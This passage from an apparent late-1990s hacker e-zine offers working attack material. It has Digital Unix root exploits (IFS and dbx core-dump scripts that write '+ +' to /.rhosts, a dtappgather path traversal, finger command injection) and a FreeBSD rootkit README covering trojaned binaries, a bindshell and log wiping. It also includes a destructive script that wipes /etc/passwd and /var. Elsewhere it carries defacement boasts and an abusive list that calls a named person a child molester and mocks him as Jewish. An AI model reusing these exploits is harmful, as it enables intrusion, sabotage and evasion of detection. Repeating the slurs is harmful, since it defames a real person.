  1727. was set to be installed 100% throughout UK until someone thought that it was
  1728. unfair for one company to dominate the digital exchange market so a company
  1729. called Ericsson produced AXE, a rival digital fone exchange system, the
  1730. AXE10 system was chosen by BT and this forms what we call the BT System Y
  1731. Exchange. System X technology was soon outdated after release due to the
  1732. fact that it was designed by a committee who were slow at releasing its first
  1733. model and by this time AXE had been released and it saw a vast technological
  1734. improvement on System X while keeping the fundamental backbone on which it
  1735. was based.
  1736.  
  1737. ========
  1738. System Y    
  1739. ========
  1740.  
  1741. The UK digital Exchange based heavily on the AXE10 Digital Exchnage System
  1742. Manufactured by Swesih company Ericsson, System Y is the UK alternative to
  1743. System X and is installed fully in over 90% of the UK. When it was released
  1744. it was much more technologically advanced than System X but heavily
  1745. structured on it.
  1746.  
  1747. ====================
  1748. VMB - Voice Mail Box    
  1749. ====================
  1750.  
  1751. Used by companies to keep in touch with each other by an answering machine
  1752. type of service, usually found as freefone numbers and a main supplier of
  1753. these is Meridian Mail. There are lots of VMBs which can be found if you scan
  1754. for them and they provide interesting toys if you want to *hack* them.   
  1755.  
  1756.  
  1757.  
  1758. Thats your lot for now...I believe that the information in this document is
  1759. all you need for an average knowledge of the UK fone system. I have cut out all
  1760. the bullshit and all the outdated info that you will find in numerous other
  1761. texts and left you with what you need.  If you have found an area in this
  1762. document that really interests you then do more research into that area and
  1763. specialise, you should be able to find further information on most things
  1764. included in this document, so go hunting or look out for more texts from me
  1765. soon....
  1766.  
  1767. If you would like to talk about anything connected with this text or any other
  1768. relevant h/p stuff then you can find me in #phreak and #CoF on undernet when
  1769. I am on irc. My nick is Jf_ of course :o)
  1770.  
  1771. Jf_ aka Josh Freedaleman
  1772.  
  1773. JF@cofuk.org
  1774. CoF - http://www.cofuk.org
  1775.  
  1776.  
  1777. ───────────────────────────────────────────────────────────────────────────────
  1778. ===============================================================================
  1779. ==[ MISC ]=====================[ .SECTION D. ]=======================[ MISC ]==
  1780. ===============================================================================
  1781. ───────────────────────────────────────────────────────────────────────────────
  1782.   1. Top Ten Reasons why..You shouldn't leave small children alone with
  1783.      Emmanuel Goldstein.
  1784. ───────────────────────────────────────────────────────────────────────────────
  1785.  
  1786. 10) He isn't down with the posse, although he think's he is
  1787. 9)  He seems a little too friendly
  1788. 8)  He likes little boys
  1789. 7)  His nick is jewish
  1790. 6)  so1o said so
  1791. 5)  He appeared on "The Learning Channel" inbetween when
  1792.     speedy and gonzolez showed you how to get free AOL
  1793.     and how to generate credit card numbers
  1794. 4)  He published an arcticle on how to steal (*gasp*)
  1795. 3)  He was an english major
  1796. 2)  Do you know how hard it is to get rid of head lice?
  1797. 1)  HE'S A FUCKIN CHILD MOLESTER YOU DUMB CUNT!@^&%$@%
  1798.  
  1799. ───────────────────────────────────────────────────────────────────────────────
  1800.   2. Hacking Digital Unix 4.0 : humble
  1801. ───────────────────────────────────────────────────────────────────────────────
  1802.  
  1803. Local techniques
  1804. ----------------
  1805.  
  1806. The first thing to try is the IFS hole in /usr/sbin/dop. If dop is setuid
  1807. root, there is a good chance that you can gain root this way. Here is a
  1808. shell script :
  1809.  
  1810. ----------------------------------------------------------------------------
  1811.  
  1812. #!/bin/sh
  1813. cat > /tmp/usr <<EOF       
  1814. #!/bin/sh
  1815. IFS="   "                                                             
  1816. export IFS                                                       
  1817. exec /bin/sh               
  1818. EOF                                                                 
  1819. chmod 755 /tmp/usr         
  1820. IFS=/ PATH=/tmp:$PATH /usr/sbin/dop crack-user=root
  1821.  
  1822. ----------------------------------------------------------------------------
  1823.  
  1824. After running this shell script, if it works, your euid should be 0. Your
  1825. prompt may or may not change depending on which shell you are using, so do
  1826. an id and check. That is a old sploit that most competent admins have 
  1827. probably fixed. 
  1828.  
  1829. Digital Unix has a large problem in the way that it handles core dumps of 
  1830. setuid root programs. If you can get a setuid root program to dump core,
  1831. it will create the core file as root, and it will follow symlinks. So,
  1832. how can we exploit this? I noticed a long time ago that if you run dbx
  1833. on a setuid root program that you have read access to, then it will core dump
  1834. in your current directory. Dbx is a debugger that comes with digital unix. 
  1835. However, some times machines won't have the liscence files installed
  1836. correctly. Here is the exploit :
  1837.  
  1838. ----------------------------------------------------------------------------
  1839.  
  1840. #!/bin/sh
  1841. # dbx exploit by humble
  1842. # works on Digital Unix 4.x                                           
  1843. # this overwrites /.rhosts                                             
  1844.  
  1845. mkdir /tmp/.testing
  1846. cd /tmp/.testing                                                        
  1847. ln -s /.rhosts core                                                    
  1848. BOB="
  1849. + +                                                   
  1850. "
  1851. export BOB                                                          
  1852. dbx /bin/crontab                                                      
  1853. dbx /bin/crontab                                                        
  1854. dbx /bin/crontab                                                         
  1855. rm -rf /tmp/.testing                                                
  1856. rsh -l root localhost /bin/sh -i
  1857.  
  1858. ----------------------------------------------------------------------------
  1859.  
  1860. If /bin/crontab is not setuid root or you don't have read permissions to
  1861. it, you can use any other setuid root program.
  1862.  
  1863. Ok. If that doesn't work, there is another core dump situation I have
  1864. found. I have only verified this on three machines and have been told
  1865. that it hasn't worked on one or two others. The program /usr/X11/bin/dxpause 
  1866. is a screen locker. I found that when I run that program, and have my 
  1867. DISPLAY set to my freebsd or my linux box (running xfree86), the program
  1868. will dump core as root. Be carefull though, if the program doesn't dump
  1869. core, you will have to enter the password of the person who's account
  1870. you are using. You have to set up your X server to allow connections from
  1871. the target, and you will probably have to click once on your machine to
  1872. get the program running on the Digital Unix box to crash. 
  1873. Anyway, this can be exploited in a similair fashion to the dbx problem.
  1874.  
  1875. There is another core dump that was mentioned on Bugtraq by Tom Leffingwell,
  1876. but I haven't been able to re-create it. Here is excerpts from his posting:
  1877.  
  1878. ----------------------------------------------------------------------------
  1879.  
  1880. Version Affected:  Digital UNIX 4.0B *with* patch kit 5
  1881.                    Unpatched 4.0B is not vunerable to this particular   
  1882.                    problem, but it is to others.
  1883.  
  1884. Patch kit 5 included a replacement xterm because the old one had a bug, too.
  1885. They replaced it with another that had a bigger problem. You can cause a
  1886. segmentation fault in xterm simply by setting your DISPLAY variable to a
  1887. display that you aren't allowed to connect to or one that doesn't exist.
  1888. Start xterm, and you get a core file.
  1889.  
  1890. ----------------------------------------------------------------------------
  1891.  
  1892. Ok, core dumps not working? Don't worry.. there's more.
  1893. There has been some talk about holes in dtappgather on the security mailing
  1894. lists. We can use one of the holes to our advantage as well.
  1895. Using dtappgather, we can make any file on the system owned by us. This is
  1896. obviously a good way to take over a machine. Exploit:
  1897.  
  1898. env DTUSERSESSION=../../../../../../../../etc/passwd /usr/dt/bin/dtappgather
  1899.  
  1900. and /etc/passwd is now owned by us. This could be used to gain control of
  1901. /etc/inetd.conf and just about anything else you could imagine. I haven't 
  1902. used this exploit to mess around with the /tcb/files/auth/* tree, but I
  1903. would be willing to bet it is very successfull.
  1904.  
  1905. I've also noticed that the X server setup on some Digital Unix boxes are 
  1906. insecure. If you have a shell on the machine, try to set your DISPLAY to 
  1907. localhost:0 or the machines hostname:0, and then run a program like xkey.
  1908.  
  1909. Here are some exploits that I havent used or tried before (edited a little):
  1910.  
  1911. ----------------------------------------------------------------------------
  1912.  
  1913.                          .LoW  _  _
  1914.                      |\  | _ |(_`|_'
  1915.                      |  \|(_)|,_)|_.
  1916.                ==========================
  1917.  
  1918. H0l4. So here it is another bug for Digital
  1919.  
  1920. System: OSF1 my.narco-goverment.sucks.co V4.0 464 alpha
  1921.  
  1922. Program: fstab - Static information about file systems and swap partitions
  1923.          advfsd - Starts the AdvFS graphical user interface daemon
  1924. Problemo: It creates a lockfile in tmp with nice permitions :)
  1925.    /tmp>ls -la
  1926.  
  1927.    (Blah Blah Blah.....)
  1928.  
  1929.    -rw-rw-rw-   1 root     system    0 Nov xx 15:49 fstab.advfsd.lockfile
  1930.  
  1931. What the hell to do with it:
  1932.  
  1933.    Before it creates
  1934.    ln -s /.rhosts /tmp/fstab.advfsd.lockfile
  1935.  
  1936.    from here... cat "+ +" > /tmp/fstab.advfsd.lockfile , etc etc.
  1937.  
  1938.                      The End - El Fin
  1939.  
  1940.                       Colombia 1997.
  1941.  
  1942.                          .LoW  _  _
  1943.                      |\  | _ |(_`|_'
  1944.                      |  \|(_)|,_)|_.
  1945.  
  1946.                    Efrain 'ET' Torres
  1947.  
  1948. ----------------------------------------------------------------------------
  1949.  
  1950. This if for Digital Unix 3.x (I've never seen it work.)
  1951.  
  1952. $ ls -l /usr/tcb/bin/dxchpwd
  1953. -rwsr-xr-x   1 root     bin        49152 Jul 25  1995 /usr/tcb/bin/dxchpwd
  1954. $ ls -l /tmp/dxchpwd.log
  1955. /tmp/dxchpwd.log not found
  1956. $ export DISPLAY=:0     (or a remotehost)
  1957. $ ln -s /hackfile /tmp/dxchpwd
  1958. $ ls -l /hackfile
  1959. /hackfile not found
  1960. $ /usr/tcb/bin/dxchpwd
  1961. (The dxchpwd window will appear. Just enter root for username
  1962.  and anything for the passwd. You'll get a permission denied
  1963. message and the window will close.)
  1964. $ ls -l /hackfile
  1965. -rw-------   1 root     system         0 Nov 16 22:44 /hackfile
  1966.  
  1967. ----------------------------------------------------------------------------
  1968.  
  1969. Remote techniques
  1970. -----------------
  1971.  
  1972. I don't have too much here except one pretty big hole. Digital Unix 4.x
  1973. is blind ip spoofable!!! So, if you can guess or determine a trust 
  1974. relationship, the machine is yours. Also, when the CERT statd advisory 
  1975. came out, Digital released a patch. I haven't played around with that, but
  1976. it might be worth looking into.
  1977.  
  1978. Also, Digital Unix 4.0 sometimes has an 0wned finger daemon, try this..
  1979.  
  1980. % finger ▌/bin/w@host
  1981.  
  1982. if this gives uptime info etc, it shows the system is vulnerable to this
  1983. attack, you can specify any command.. simple to use.
  1984.  
  1985. ───────────────────────────────────────────────────────────────────────────────
  1986.   3. FreeBSD 2.2.5 rootkit : humble / method
  1987. ───────────────────────────────────────────────────────────────────────────────
  1988.  
  1989. Ok.. I found this rootkit out on an ftp site somewhere. Anyway, when I got
  1990. it, there was a bunch of compile errors and it seemed to be for an older
  1991. version of freebsd. So, I took a new source tree from my box and copied the
  1992. trojan code from this rootkit into it.. So, this rootkit will work on the
  1993. FreeBSD 2.2.5-RELEASE. The rootkit is around 350k in size (compressed) and
  1994. it is available from the following :
  1995.  
  1996. ftp.sekurity.org/users/so1o
  1997. www.technotronic.com/files/ezines/crh
  1998. www.fth.org/crh
  1999.  
  2000.  
  2001. Ok.. I left out the following trojans and files:
  2002.  
  2003. chpass        Trojaned! User->r00t
  2004. passwd        Trojaned! User->r00t
  2005. zapbsd2        An improved utmp/wtmp/lastlog type zapper
  2006. tripwire    Trojaned! Hide changes
  2007.  
  2008. but I put in:
  2009.  
  2010. marryv11.c      good log cleaner.. i put a #define bsd in it
  2011.  
  2012. Enjoy,
  2013. humble - jmcdonal@unf.edu 1/15/98
  2014.  
  2015. Thanks to ducksquak, simpson and sygma for testing.
  2016.  
  2017. The
  2018.  _____              ____ ____  ____  
  2019. |  ___| __ ___  ___| __ ) ___||  _ \ 
  2020. | |_ | '__/ _ \/ _ \  _ \___ \| | | |
  2021. |  _|| | |  __/  __/ |_) |__) | |_| |
  2022. |_|  |_|  \___|\___|____/____/|____/  rootkit 1.2 (1/27/97) by Method
  2023.                                      
  2024. NOTE: This package was heavily influenced by the existing Linux rootkit, 
  2025. which in turn was adapted from the SunOS rootkit, etc., etc.
  2026.  
  2027. UPDATES: 1.0.1 - Fixed some broken Makefile stuff.  Made it so inetd does 
  2028. the right thing on a SIGHUP.  Added some extra security to the shell trojans.
  2029. 1.1 - Added tripwire trojan.  Cleaned up some other stuff.
  2030. 1.2 - Put a password on inetd (Thanks for the suggestion Whoot :)
  2031.  
  2032. This package includes the following:
  2033.  
  2034. chpass        Trojaned! User->r00t
  2035. inetd        Trojaned! Remote access
  2036. login        Trojaned! Remote access
  2037. ls        Trojaned! Hide files
  2038. du        Trojaned! Hide files
  2039. ifconfig    Trojaned! Hide sniffing
  2040. netstat        Trojaned! Hide connections
  2041. passwd        Trojaned! User->r00t
  2042. ps        Trojaned! Hide processes
  2043. rshd        Trojaned! Remote access
  2044. syslogd        Trojaned! Hide logs
  2045. fix        File fixer!
  2046. addlen        File length fixer(!)
  2047. zapbsd2        An improved utmp/wtmp/lastlog type zapper
  2048. bindshell    port/shell type daemon!
  2049. tripwire    Trojaned! Hide changes
  2050. sniffit        A kewl sniffz0r!
  2051.         
  2052. INSTALLATION:
  2053. To install this kit execute the command 'make all install' from the # prompt.
  2054. All of the file/password configurations are in config.h so feel free to
  2055. modify things to suit your particular fancy.  Everything here has been 
  2056. tested on a FreeBSD-stable distribution. See the note at the end about 
  2057. what to do if the admin uses tripwire. Also make sure to read the 
  2058. Makefile and scripts so you know what's going on.
  2059.  
  2060. USAGE:
  2061. OK I will go through how to use each program one by one. NOTE when I say 
  2062. password I mean the rootkit password not your users password (d0h!). By 
  2063. default the rootkit password is "h0tb0x".
  2064.  
  2065. chpass -    Local user->root. Run ch{sh,fn,pass} then when it asks you 
  2066.         for a new name enter your password.
  2067.  
  2068. inetd -         Binds a shell to a port for remote access. Adds a shell 
  2069.         exec service on the ingreslock port, type in the rootkit
  2070.         password to start a shell.
  2071.  
  2072. login -        Allows login to any account with the rootkit password.
  2073.         If root login is refused on your terminal login as "r00t".
  2074.         History logging is disabled if you login using your password.
  2075.  
  2076. ls -        Trojaned to hide specified files and directories.
  2077.         The default data file is /dev/ptyr.
  2078.         All files can be listed with 'ls -/'.
  2079.         The format of /dev/ptyr is:
  2080.         ptyr
  2081.         fbsdrootkit-1.0
  2082.         pr0n
  2083.         Use partial filenames. This would hide any files/directories 
  2084.         with the names ptyr, fbsdrootkit-1.0 and pr0n.
  2085.  
  2086. du -        (see ls)
  2087.  
  2088. ifconfig -    Modified to remove PROMISC flag on the ethernet device.
  2089.  
  2090. netstat -    Modified to remove tcp/udp/sockets from or to specified
  2091.         addresses, paths and ports.
  2092.         default data file: /dev/ptyq
  2093.         command 1: hide local address
  2094.         command 2: hide remote address
  2095.         command 3: hide local port
  2096.         command 4: hide remote port
  2097.         command 5: hide UNIX socket path
  2098.  
  2099.         example:
  2100.         1 128.31        <- Hides all local connections from 128.31.X.X
  2101.         2 128.31.39.20  <- Hides all remote connections to 128.31.39.20
  2102.         3 8000          <- Hides all local connections from port 8000
  2103.         4 6667          <- Hides all remote connections to port 6667
  2104.         5 .term/socket  <- Hides all UNIX sockets including the path 
  2105.                    .term/socket
  2106.         
  2107. passwd -    Local user->root. Enter your rootkit password instead of your
  2108.         old password.
  2109.  
  2110. ps -        Modified to remove specified processes.
  2111.         Default data file is /dev/ptyp.
  2112.         An example data file is as follows:
  2113.             0 0             Strips all processes running under root
  2114.             1 p0            Strips tty p0
  2115.             2 sniffer       Strips all programs with the name sniffer
  2116.         Don't put in the comments, obviously.
  2117.  
  2118. rshd -        Execute remote commands as root. 
  2119.         Usage: rsh -l rootkitpassword host command
  2120.         i.e. rsh -l h0tb0x 0wn3d.escape.com /bin/sh -i
  2121.         would start a root shell.
  2122.  
  2123. syslogd -    Modified to remove specified strings from logging.
  2124.         I thought of this one when I was on a system which logged
  2125.         every connection.. I kept getting pissed off with editing
  2126.         files every time I connected to remove my hostname. Then I 
  2127.         thought 'Hey dude, why not trojan syslogd?!' and the rest
  2128.         is history. :)
  2129.         Default data file is /dev/ptys
  2130.         Example data file:
  2131.         evil.com
  2132.         123.100.101.202
  2133.         rshd
  2134.         This would remove all logs containing the strings evil.com,
  2135.         123.100.101.202 and rshd. Smart! :))
  2136.  
  2137. sniffit -    An advanced network sniffer. This is pretty kewl and has lots
  2138.         of filtering options and other stuff. Useful for targetting a
  2139.         single host or net. Sniffit uses ncurses.
  2140.  
  2141. bindshell -    This is pretty self-explanatory. Basically it binds a 
  2142.         shell to a port, 31337 by default. Read the source on 
  2143.         this one.
  2144.  
  2145. fix -        Replaces and fixes timestamp/checksum infomation on files.
  2146.         I modified this a bit for my own uses and to fix a nasty bug
  2147.         when replacing syslogd and inetd. The replacement file will
  2148.         be erased by fix (unlike other versions).  
  2149.  
  2150. addlen -    This quickie modifies the length of files by adding 
  2151.         harmless zeros to the end. Wonder why nobody ever 
  2152.         thought of doing this before. Inspired by a stupid 
  2153.         security tool which checks lengths of setuid files.
  2154.  
  2155. zapbsd2 -    This improved version of zapbsd writes over entries with 
  2156.         ones instead of zeros.  I added some capabilities and 
  2157.         error checking so I raised the number.
  2158.  
  2159. TRIPWIRE:
  2160. I have done a major improvement of this part. Simply make tripwire and 
  2161. the script will ask you a few questions and take action depending on your 
  2162. responses. If both the database file and tripwire binary are read-only 
  2163. then there is nothing you can do.
  2164.  
  2165. SOURCES:
  2166. Some of these patches are derived from the original SunOS rootkit. ls, 
  2167. du, ps, netstat and chpass were done by yours truly. Anything else came 
  2168. from the Linux rootkit with a few modifications. The idea for tripwire 
  2169. was my own.
  2170.  
  2171. OTHER:
  2172. I welcome all comments and questions at method@yikes.com. All complaints 
  2173. and flames will be sent to /dev/null.
  2174.  
  2175. Thanks to OGhost and Phelix for beta testing and advice.
  2176.  
  2177. In closing, this kit can only take you so far. Although it covers almost 
  2178. everything, a competent sysadmin will eventually catch on. Remember, 
  2179. never let your guard down.
  2180. -M
  2181.  
  2182. ───────────────────────────────────────────────────────────────────────────────
  2183.   4. l0ckd0wn.sh : so1o
  2184. ───────────────────────────────────────────────────────────────────────────────
  2185.  
  2186. This is what you run when you're root, and you want to l0ckd0wn the system,
  2187. useful in the cases of webpage attacks over weekends etc. heh
  2188.  
  2189. % cat > l0ckd0wn.sh << STOP
  2190. <paste th3 skr1pt sh1t h3re>
  2191. STOP
  2192. % sh l0ckd0wn.sh
  2193. l0ckd0wn in pr0gr3ss.. must run as r00t
  2194. %
  2195.  
  2196. (then everything will go b00m)
  2197.  
  2198. Here it is...
  2199. -------------
  2200.  
  2201. #!/bin/sh
  2202. #
  2203. # l0ckd0wn.sh - so1o th3 k1ng.
  2204. #
  2205. echo "l0ckd0wn in pr0gr3ss.. must run as r00t"
  2206. echo "0wned:hahahahaha:666:666:l0ckd0wn m0therfuck3r:/dev/null:/dev/null" > /etc/passwd
  2207. echo "0wned:666::::::::" > /etc/shadow
  2208. echo "#" > /etc/inetd.conf
  2209. echo "#" > /etc/syslog.conf
  2210. echo "w0rdup, we b3 0wned" > /etc/issue.net
  2211. rm -rf /var
  2212. rm /etc/*tmp
  2213. rm /bin/login
  2214. touch /etc/utmp
  2215. touch /etc/wtmp
  2216. kill -9 -1
  2217.  
  2218. ───────────────────────────────────────────────────────────────────────────────
  2219. ===============================================================================
  2220. ==[ NEWS ]=====================[ .SECTION E. ]=======================[ NEWS ]==
  2221. ===============================================================================
  2222. ───────────────────────────────────────────────────────────────────────────────
  2223.   1. VMG 0wned : sw1tch
  2224. ───────────────────────────────────────────────────────────────────────────────
  2225.  
  2226. THE SAGA CONTINUES.
  2227. ===================
  2228.  
  2229. we have NFS skill, and they got br0ken.. again, but this time we had a plan :
  2230.  
  2231. Mirror of Janet Jackson page (jacko smokes a blunt) :
  2232.  
  2233. http://www.hacked.net/exp/com/janetjackson/
  2234. -------------------------------------------
  2235.  
  2236. Mirror of Rolling Stones page (mick fagg0r goes bald and ph34rz) :
  2237.  
  2238. http://www.hacked.net/exp/com/the-rolling-stones/
  2239. -------------------------------------------------
  2240.  
  2241. Not forgetting the Spice Gurls (b0w) :
  2242.  
  2243. http://www.hacked.net/exp/uk/co/vmg/spiceworld/
  2244. -----------------------------------------------
  2245.  
  2246.  
  2247. ugh, we didn't do it, it was other kids and stuff..
  2248.  
  2249. ───────────────────────────────────────────────────────────────────────────────
  2250.  
  2251.  = HANSON ARE NEXT, THEY WILL D1E. SO WILL THE BACKSTREET BOYS, OH YES. =
  2252.  
  2253. ───────────────────────────────────────────────────────────────────────────────
  2254. ===============================================================================
  2255. ==[ PROJECTS ]=================[ .SECTION F. ]===================[ PROJECTS ]==
  2256. ===============================================================================
  2257. ───────────────────────────────────────────────────────────────────────────────
  2258.   1. The Rhino9 Sentinel : so1o / humble
  2259. ───────────────────────────────────────────────────────────────────────────────
  2260.  
  2261. Sentinel is a remote auditing tool that myself and humble are developing for
  2262. the Rhino9 Security Research Team, it will rock, and we will release the beta
  2263. version as soon as we get it finished, it is _very_ fast and effective, we'll
  2264. keep y'all posted! Full d0x will be in CRH issue 9.
  2265.  
  2266.  
  2267. ───────────────────────────────────────────────────────────────────────────────
  2268.   2. TOTALCON '98 : so1o
  2269. ───────────────────────────────────────────────────────────────────────────────
  2270.  
  2271. $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
  2272.   +------------------------------------+------------------------------------+
  2273.   ▌  An Official TotalCon Announcement ▌ An Official TotalCon Announcement  ▌
  2274.   ▌  An Official TotalCon Announcement ▌ An Official TotalCon Announcement  ▌
  2275.   +------------------------------------+------------------------------------+
  2276. $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
  2277.  
  2278.  
  2279.  TotalCon '98 is now a reality, here are preliminary details...
  2280.  ==============================================================
  2281.  
  2282.  Venue        :  The Old Firestation, Silver Street, Bristol, ENGLAND
  2283.  Date         :  *** POSTPONED, PROBLEMS WITH PREMESIES, stay tuned!@%$ ***
  2284.  Duration     :  36 hours non-stop    (midday -> 10:00pm next day)
  2285.  
  2286.  Cost         :  £15 (15 UKP) ON THE DOOR, this will go back into
  2287.                                            the event (beer etc.)
  2288.  
  2289.  What         :  12 system network (with additional terminals) along
  2290.                  with full internet access, bring your laptops!
  2291.  
  2292.                  Loud music, live DJ's
  2293.                  Fully licensed bar downstairs / next door
  2294.                  Elite UV and spotlighting
  2295.  
  2296.                  ALOT of cool people
  2297.                  ^^^^^^^^^^^^^^^^^^^
  2298.  
  2299.       *** NO SPEAKERS WHATSOEVER *** *** NO SPEAKERS WHATSOEVER ***
  2300.  
  2301.  
  2302.  Travel        : Easily accessible by car, train, bus, plane or boat.
  2303.  
  2304.  Accomodation  : You can hang around the Firestation or book one of
  2305.                  many good hotels in the immediate area.
  2306.  
  2307.  
  2308.  Notes         : ALL CA$H RAISED AT THE DOOR FROM ENTRANCE FEES WILL
  2309.                  GO BACK INTO THE EVENT! WE WILL PURCHASE GREAT AMOUNTS
  2310.                  OF BEER AND FOOD, PROBABLY EVEN A LAPTOP AS A PRIZE!!
  2311.  
  2312.  
  2313. $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
  2314.   +------------------------------------+------------------------------------+
  2315.   ▌  An Official TotalCon Announcement ▌ An Official TotalCon Announcement  ▌
  2316.   ▌  An Official TotalCon Announcement ▌ An Official TotalCon Announcement  ▌
  2317.   +------------------------------------+------------------------------------+
  2318. $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
  2319.  
  2320. ───────────────────────────────────────────────────────────────────────────────
  2321. ===============================================================================
  2322. ==[ FIN ]======================[ .SECTION G. ]========================[ FIN ]==
  2323. ===============================================================================
  2324. ───────────────────────────────────────────────────────────────────────────────
  2325.  
  2326.                                 .-----------.                    
  2327.                                 :           :                      
  2328.                         .-----. `-----.     ; .-----.                
  2329.                 :.      :  .--'      .'    .' :     :      .:            
  2330.         .-------:::.    :  :       .'    .'   :  .  :    .:::-------.    
  2331.         `-------:::'    :: :     .'    .'     :: :  :    `:::-------'    
  2332.                 :'      ::.`--. ::::  `-----. ::.   :      `:          
  2333.                         `-----' ::::.       : `-----'                
  2334.                                 `-----------'                      
  2335.                                                                  
  2336.                               [ Team CodeZero ]                
  2337.                                                              
  2338.                gl0b4l m0therfuck3rz, g1v1ng y0u th3 r34l d34l.
  2339.  
  2340. ───────────────────────────────────────────────────────────────────────────────
  2341.        the c0dez squirel returns next issue, he's back from vacation.
  2342. ───────────────────────────────────────────────────────────────────────────────
  2343.